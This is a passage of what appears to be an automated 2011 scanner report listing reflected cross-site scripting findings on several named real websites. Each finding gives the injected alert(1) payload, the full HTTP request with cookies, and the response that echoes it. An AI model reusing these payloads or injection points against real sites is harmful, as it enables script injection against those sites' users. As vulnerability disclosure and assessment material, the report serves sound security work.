The value of the err request parameter is copied into the HTML document as plain text between tags. The payload 9c9bc<script>alert(1)</script>c47e2e4418e was submitted in the err parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.asp?area=&err=Invalid_Login9c9bc<script>alert(1)</script>c47e2e4418e HTTP/1.1
Host: membersarealogin.com
Proxy-Connection: keep-alive
Referer: http://membersarealogin.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDAQBSCBDB=JGKOIIEBNGEGILCCOOKAAFHM; __utma=42541241.97346164.1300932616.1300932616.1300932616.1; __utmc=42541241; __utmz=42541241.1300932616.1.1.utmccn=(referral)|utmcsr=piratebay.com|utmcct=/login.php|utmcmd=referral; __utmb=42541241

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:06:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4606
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>Members' Area Login</title>
<style type="text/css">
<!--
body {
   margin-left: 0px;
   margin-top: 0px;
   margin-right: 0px;
   margin-bottom: 0px;
   background-color:#FFFFFF
...[SNIP]...
<font color=red>Invalid Login9c9bc<script>alert(1)</script>c47e2e4418e</font>
...[SNIP]...

2.17. http://sh.webhire.com/Profiler/login.pfl [EMAIL parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sh.webhire.com
Path:   /Profiler/login.pfl

Issue detail

The value of the EMAIL request parameter is copied into the HTML document as plain text between tags. The payload 2f4ee<script>alert(1)</script>7154b06822f6abb62 was submitted in the EMAIL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /Profiler/login.pfl?CCC_DEST=EDUS&EMAIL=2f4ee<script>alert(1)</script>7154b06822f6abb62&PASSWORD=&ACCT_NAME=GSI HTTP/1.1
Host: sh.webhire.com
Proxy-Connection: keep-alive
Referer: http://sh.webhire.com/profiler/login_page.pfl?ACCT_NAME=GSI&CCC_DEST=EDUS
Cache-Control: max-age=0
Origin: http://sh.webhire.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JobIDs=; AccountID=726; Site=I; TestCookie=TRUE

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:24:01 GMT
Server: Microsoft-IIS/6.0
p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 602

<html>
   <head>
       <title>Error</title>
       <link rel="stylesheet" type="text/css" href="/webhire2.css" title="Webhire Stylesheet">
   </head>
   
<body bgcolor="#FFFFFF">

<table width=100% border=0>
<tr>
<t
...[SNIP]...
<li>
Invalid value 2f4ee<script>alert(1)</script>7154b06822f6abb62 for EMAIL</li>
...[SNIP]...

2.18. http://sh.webhire.com/profiler/login_page.pfl [CCC_DEST parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sh.webhire.com
Path:   /profiler/login_page.pfl

Issue detail

The value of the CCC_DEST request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d52fb"><script>alert(1)</script>89427b180d9 was submitted in the CCC_DEST parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /profiler/login_page.pfl?ACCT_NAME=GSI&CCC_DEST=EDUSd52fb"><script>alert(1)</script>89427b180d9 HTTP/1.1
Host: sh.webhire.com
Proxy-Connection: keep-alive
Referer: http://sh.webhire.com/public/726/indexEDUS.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JobIDs=; AccountID=726; Site=I

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:23:56 GMT
Server: Microsoft-IIS/6.0
p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: PROFILE_LDAP_ID=; expires=Thu, 24-Mar-2011 02:23:56 GMT; path=/
Set-Cookie: USERNAME=; expires=Thu, 24-Mar-2011 02:23:56 GMT; path=/
Set-Cookie: CANDIDATE_ID=; expires=Thu, 24-Mar-2011 02:23:56 GMT; path=/
Set-Cookie: ProfileId=; expires=Thu, 24-Mar-2011 02:23:56 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 4000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.adobe.com/spr
...[SNIP]...
<A href="https://sh.webhire.com/profiler/select_orf_type.pfl?ACCT_NAME=GSI&TemplateDir=&CCC_DEST=EDUSd52fb"><script>alert(1)</script>89427b180d9&SITE=I" class="knxa">
...[SNIP]...

2.19. https://www.ipredator.se/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.ipredator.se
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 886bd"><script>alert(1)</script>f9cbab200fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?886bd"><script>alert(1)</script>f9cbab200fe=1 HTTP/1.1
Host: www.ipredator.se
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 24 Mar 2011 02:16:30 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny8 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny8
Set-Cookie: PHPSESSID=3347d82ed33d135885f0488f77241dfe; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6610

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-
...[SNIP]...
<input type="hidden" name="886bd"><script>alert(1)</script>f9cbab200fe" value="1" />
...[SNIP]...

2.20. http://d7.zedo.com/bar/v16-403/d3/jsc/fmr.js [ZEDOIDA cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://d7.zedo.com
Path:   /bar/v16-403/d3/jsc/fmr.js

Issue detail

The value of the ZEDOIDA cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67efb"-alert(1)-"42f030a3dbe was submitted in the ZEDOIDA cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bar/v16-403/d3/jsc/fmr.js?c=3281&a=0&f=&n=790&r=13&d=15&q=&$=&s=2764&z=0.4283141877967864 HTTP/1.1
Host: d7.zedo.com
Proxy-Connection: keep-alive
Referer: http://thepiratebay.org/browse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDA=jhmxpQoBADYAAET@BzgAAAAW~02211167efb"-alert(1)-"42f030a3dbe; __qca=P0-1757581032-1298497085187; FFChanCap=1512B1025,1#775797#834300#580897:1083,2#647866,8#647871,7#740741,22#647878,20#647876,17#740739#668672#648495,21#668688#831213:305,944#913010|0,1,1:0,2,2:0,1,1:0,19,1:0,19,1:0,33,15:0,19,1:0,19,1:0,33,15:0,20,2:0,19,1:0,20,2:0,19,1:0,24,1; ZFFAbh=792B826,20|695_792#365Z1083_806#379Z1585_806#379Z798_807#380; FFgeo=5386156; FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1; PI=h878953Za909463Zc1185002111,1185002111Zs2Zt179; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFCap=1512B933,196008:1025,196206:598,169775:1219,205340:1185,204050:790,199121|0,24,1:0,1,1:1,11,1:0,28,1:0,28,1:0,31,1;expires=Sat, 23 Apr 2011 02:15:23 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=790,3281,15;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Thu, 24 Mar 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "823f84fd-80e3-49ea762bb1f00"
Vary: Accept-Encoding
X-Varnish: 1854305258
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=108
Expires: Thu, 24 Mar 2011 02:17:12 GMT
Date: Thu, 24 Mar 2011 02:15:24 GMT
Connection: close
Content-Length: 6061

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();


var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=2764;var zzPat='';var zz
...[SNIP]...
undefined' || ainfo.length == 0) { var ainfo =''; }

/*

*/

var zzLogData ="a=891378;x=3840;g=0,0;c=790003281,790003281;i=0;n=790;s=2764;s=2764;g=172;m=82;w=47;x=3840;u=jhmxpQoBADYAAET@BzgAAAAW~02211167efb"-alert(1)-"42f030a3dbe;1=;2=;i=0;z=" + Math.random();


function zzPop() {
   var zzAg = navigator.userAgent.toLowerCase();
   var zzAOL = (zzAg.indexOf('aol') != -1);
   var zzNS6 = (zzAg.indexOf('netscape6/6.') != -1);
   var z
...[SNIP]...

Report generated by XSS.CX at Thu Mar 24 06:37:08 CDT 2011.